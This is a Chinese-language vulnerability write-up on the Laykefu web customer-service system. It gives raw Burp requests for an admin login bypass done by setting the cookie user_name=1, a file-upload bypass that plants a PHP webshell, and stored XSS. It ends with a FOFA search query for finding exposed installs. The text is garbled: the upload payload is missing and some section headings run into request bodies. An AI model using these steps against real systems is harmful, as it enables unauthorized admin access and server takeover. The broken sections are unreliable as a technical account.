目录
一.概述
二 .漏洞影响
三.漏洞复现
1. 漏洞一:
2. 漏洞二:
3. 漏洞三:
4. 漏洞四:
四.修复建议:
五. 搜索语法:
六.免责声明
一.概述
Laykefu客服系统是thinkphp5+Gatewayworker搭建的web客服系统
详情看系统介绍
二 .漏洞影响
获取管理员权限,可上传文件,获取webshell等
三.漏洞复现
1. 漏洞一:
(1)漏洞类型: 逻辑漏洞
(2)请求类型:POST
(3)复现
找到相关系统页面
使用cookie-editor插件,或者burp抓包后,添加一个cookie值user_name = 1
burp请求
修改完之后,直接访问/admin可以登录进后台
burp请求包
GET /admin HTTP/2Host: Cookie: user_name=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: " /> 前端是存在验证的
使用burp抓包,修改1.jpg文件名的后缀为PHP
添加内容为
拦截响应即可看到返回的上传路径
前端元素也可看见
请求包
POST /admin/users/upavatar.html HTTP/2Host: Cookie: user_name=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=---------------------------243230035635601658051378961973Content-Length: 238Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailers-----------------------------243230035635601658051378961973Content-Disposition: form-data; name="file"; filename="test.php"Content-Type: image/jpeg 提交后,点击常用语列表会弹出XSS
4. 漏洞四:
(1)漏洞类型: XSS
(2)请求类型:POST
(3)复现
漏洞点在后台添加管理员,具体过程和漏洞三相似,就不做演示了
四.修复建议:
增加前后端验证
五. 搜索语法:
1.fofa
icon_hash="-334624619"
六.免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。